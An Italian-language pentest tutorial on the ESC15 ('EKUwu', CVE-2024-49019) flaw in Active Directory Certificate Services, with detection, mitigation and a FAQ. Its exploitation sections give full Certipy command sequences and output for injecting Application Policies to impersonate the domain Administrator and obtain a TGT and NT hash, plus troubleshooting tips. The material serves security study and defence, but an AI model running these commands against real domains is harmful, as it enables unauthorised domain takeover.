ESC15 ADCS (CVE-2024-49019): EKUwu ,PrivEsc & Injection

ESC15 (EKUwu) in Active Directory Certificate Services: Application Policy injection, exploitation e mitigazione #

ESC15, soprannominata EKUwu dalla community, è una tecnica di privilege escalation contro Active Directory Certificate Services (AD CS) scoperta da Justin Bollinger (TrustedSec) e tracciata come CVE-2024-49019. È stata pubblicata l'8 ottobre 2024 e la CA è stata corretta a novembre 2024.

A differenza di quanto si legge spesso in giro, ESC15 non è un’altra variante di SAN injection: sfrutta un comportamento specifico di Windows nel trattare due estensioni del certificato che vengono spesso confuse tra loro, anche nella documentazione ufficiale Microsoft.

Glossario rapido #

Per approfondire alcuni dei concetti base citati in questo articolo: Kerberos: attacchi Active Directory, Certipy: guida completa, EKU OID in AD CS: guida per il pentest.

La vulnerabilità vera: Application Policies non è l’EKU #

Il nome “EKUwu” è un po’ ingannevole: l’attaccante non modifica l’EKU. Modifica le Application Policies, un’estensione diversa che però usa gli stessi OID dell’EKU (Client Authentication = 1.3.6.1.5.5.7.3.2 in entrambe — per un elenco completo degli OID rilevanti per l’offensive AD CS vedi EKU OID in AD CS) e che in caso di conflitto ha la precedenza secondo il comportamento documentato da Microsoft.

Il punto chiave, confermato da TrustedSec e dal wiki di Certify, è che non tutti i componenti Windows leggono le Application Policies nello stesso modo:

• PKINIT (Kerberos) valuta solo l’estensione EKU. Se inietti l’Application Policy ma l’EKU del template resta Server Authentication, PKINIT rifiuta il certificato con un errore tipo “Inconsistent Key Purpose”.
• Schannel (LDAPS) valuta anche l’estensione Application Policies. Qui l’iniezione funziona.

Questa asimmetria è il motivo per cui, più avanti, lo Scenario A si autentica via LDAPS (-ldap-shell) e non via Kerberos.

Quando è possibile ESC15 #

Tutte queste condizioni devono essere vere:

• CA non patchata per CVE-2024-49019 (pre novembre 2024).
• Template di certificato Schema Version 1. Clonare un template v1 lo convertirebbe automaticamente in v2 (non vulnerabile) — è esattamente per questo che “clonare il template” è la mitigazione consigliata.
• Template con Enrollee Supplies Subject = True.
• L’attaccante ha diritti di enrollment sul template (spesso bastano quelli di default di Authenticated Users, come nel template builtin WebServer).

TrustedSec sostiene che per impostazione predefinita tutti i template v1 sono vulnerabili; Microsoft inizialmente ha contestato questo, sostenendo che il ricercatore avesse modificato i permessi di enrollment — ma TrustedSec ha confermato il problema in 10 ambienti su 15 testati senza modifiche ai permessi. Prendila quindi come una condizione da verificare caso per caso, non come una certezza assoluta.

Identificazione con Certipy #

certipy find -u 'attacker@corp.local' -p 'Passw0rd!' -dc-ip 10.0.0.100 -vulnerable -enabled

Nell’output, cerca template con questa combinazione:

Template Name             : WebServer
Schema Version            : 1
Enrollee Supplies Subject : True

[!] Vulnerabilities
    ESC15                 : Enrollee supplies subject and schema version is 1

Questo indicatore dice solo che il template può essere abusato se la CA non è patchata — non dice nulla sullo stato della patch, che va verificato separatamente (build della CA, o semplicemente provando l’exploit).

Exploitation #

Scenario A — Impersonation via Client Authentication (Schannel) #

Prerequisiti: template v1 vulnerabile come sopra; nessun requisito aggiuntivo.

Step 1 — Richiesta del certificato con Application Policy iniettata

certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
  -template WebServer \
  -upn 'administrator@corp.local' \
  -application-policies 'Client Authentication'

Successfully requested certificate
Saving certificate to administrator.pfx

Il certificato ha ora Client Authentication nelle Application Policies, mentre l’EKU del template resta quello originale (Server Authentication).

Step 2 — Autenticazione via Schannel, non via Kerberos

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell

Authenticated to CORP\Administrator via SCHANNEL

In alternativa, lo stesso risultato si ottiene con PassTheCert:

PassTheCert.exe --server dc01.corp.local --cert-path administrator.pfx --whoami

Troubleshooting

• certipy auth senza -ldap-shell fallisce con “KDC_ERR_INCONSISTENT_KEY_PURPOSE”: previsto. PKINIT guarda solo l’EKU, che non contiene Client Authentication. Usa sempre -ldap-shell (o PassTheCert) per questo scenario, non l’autenticazione Kerberos diretta.
• -application-policies non viene accettato / “unrecognized arguments”: la tua versione di Certipy non include ancora il supporto ESC15 (introdotto con la PR #228); aggiorna Certipy.
• La richiesta certificato fallisce con un errore sul template: verifica che il template sia ancora Schema Version 1 — se qualcuno l’ha già clonato o hardenizzato, è diventato v2 e l’iniezione dell’Application Policy non ha più effetto.
• Anche con -ldap-shell l’autenticazione fallisce: possibile che sia attiva una configurazione Schannel a mappatura forte che richiede anche l’estensione SID; in quel caso aggiungi -sid <SID-del-target> alla richiesta. Se invece l’ambiente usa mappature esplicite via altSecurityIdentities, vedi ESC14 per i dettagli su quel meccanismo.

Scenario B — Enrollment Agent abuse (stile ESC3) #

Prerequisiti: stessi del template vulnerabile, più la necessità che un secondo template (quello usato per il certificato finale, es. User) accetti richieste firmate da un agente di enrollment e non abbia restrizioni “Enrollment Agent” configurate che limitino chi può agire da agente.

Step 1 — Creare un certificato Enrollment Agent iniettando l’Application Policy

certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
  -template WebServer \
  -application-policies 'Certificate Request Agent'

Saving certificate to attacker.pfx

L’attaccante ora possiede un certificato che il CA tratta come un vero Enrollment Agent, anche se il template WebServer non lo prevedeva.

Step 2 — Richiedere un certificato per Administrator usando l’agente

certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
  -template User \
  -pfx attacker.pfx \
  -on-behalf-of 'CORP\Administrator'

Saving certificate to administrator.pfx

Step 3 — Autenticazione

Il certificato finale per Administrator proviene da un template normale (User), quindi ha già l’EKU corretto e — se la CA non ha CT_FLAG_NO_SECURITY_EXTENSION sul template — anche l’estensione SID. Questa volta l’autenticazione via Kerberos funziona normalmente:

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100

Got TGT
Got NT hash for 'administrator'

Troubleshooting

• Step 2 fallisce con un errore sui permessi dell’agente: il CA ha restrizioni “Enrollment Agent” configurate che limitano quali account/template possono essere usati tramite delega — verifica le Issuance Requirements della CA, non solo quelle del template.
• Step 3 fallisce per mancanza del SID: il template User (o quello che usi) ha CT_FLAG_NO_SECURITY_EXTENSION attivo — in quel caso aggiungi -sid <SID-amministratore> allo Step 2, oppure la combinazione è anche abusabile a parte come ESC10. Se invece è la CA stessa ad avere l’estensione SID disabilitata a livello globale, il problema è ESC16.
• Il certificato Enrollment Agent dello Step 1 viene rifiutato: controlla di nuovo che il template di partenza sia v1 con Enrollee Supplies Subject = True — senza questo, l’injection dell’Application Policy non ha effetto.

TrustedSec menziona anche un terzo possibile abuso lato code signing, mostrato nella loro ricerca ma senza una sequenza di comandi pubblicata; non lo riporto qui per non inventare uno scenario operativo che non è stato documentato in modo verificabile.

Verifica del certificato ottenuto #

Prima di autenticarti, è buona norma controllare che l’Application Policy iniettata sia davvero presente nel certificato, invece di scoprirlo solo al fallimento dell’auth. Puoi farlo con OpenSSL:

openssl pkcs12 -in administrator.pfx -nodes -nokeys -out cert.pem
openssl x509 -in cert.pem -text -noout | grep -A3 "Policies\|Key Usage"

Se nell’output vedi l’OID 1.3.6.1.5.5.7.3.2 (o 1.3.6.1.4.1.311.20.2.1 nello Scenario B) sotto le Application Policies, l’injection ha funzionato.

Detection #

Un’assenza di eventi recenti non significa assenza di rischio: se la CA non è mai stata patchata, il problema resta latente finché qualcuno non lo sfrutta o non audita i template.

Quando ESC15 non è sfruttabile #

• La CA ha installato l’aggiornamento di sicurezza di novembre 2024 per CVE-2024-49019.
• Il template è già Schema Version 2 o 3 (anche se clonato da un v1 originariamente vulnerabile).
• Enrollee Supplies Subject è False.
• Non hai diritti di enrollment su nessun template v1 vulnerabile.

Mitigation #

1. Patchare la CA (priorità assoluta): installare l’aggiornamento di sicurezza di Microsoft per CVE-2024-49019, rilasciato a novembre 2024.
2. Hardening dei template: clonare i template v1 ancora in uso (il clone diventa automaticamente v2) e disabilitare quelli v1 non più necessari, dopo aver verificato che non emettano certificati realmente in uso.
3. Workaround temporaneo (solo se non puoi patchare subito): disabilitare globalmente l’estensione Application Policies sulle richieste in arrivo.

certutil -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.21.10
net stop certsvc
net start certsvc

⚠️ Questo workaround può rompere flussi di enrollment legittimi che dipendono dalle Application Policies — da usare solo come misura ponte, non come soluzione definitiva.

FAQ #

Cos’è ESC15? Una vulnerabilità AD CS (CVE-2024-49019) che permette di iniettare Application Policies arbitrarie in certificati richiesti da template Schema Version 1, ottenendo capacità (autenticazione client, enrollment agent) che il template non dovrebbe concedere.

È la stessa cosa dell’EKU? No. L’EKU e le Application Policies sono due estensioni diverse che condividono gli stessi OID; ESC15 sfrutta proprio questa sovrapposizione e il fatto che componenti diversi di Windows (PKINIT vs Schannel) le trattano in modo diverso.

Serve una CA non patchata? Sì, la vulnerabilità riguarda CA precedenti all’aggiornamento di novembre 2024.

ESC15 può portare a Domain Admin? Sì, sia per impersonation diretta (Scenario A) sia tramite abuso di un certificato Enrollment Agent per richiedere certificati a nome di account privilegiati (Scenario B).

Guida completa a tutte le tecniche ESC1–ESC16: AD CS Privilege Escalation con Certipy.

Fonte tecnica primaria: EKUwu: Not Just Another AD CS ESC (TrustedSec).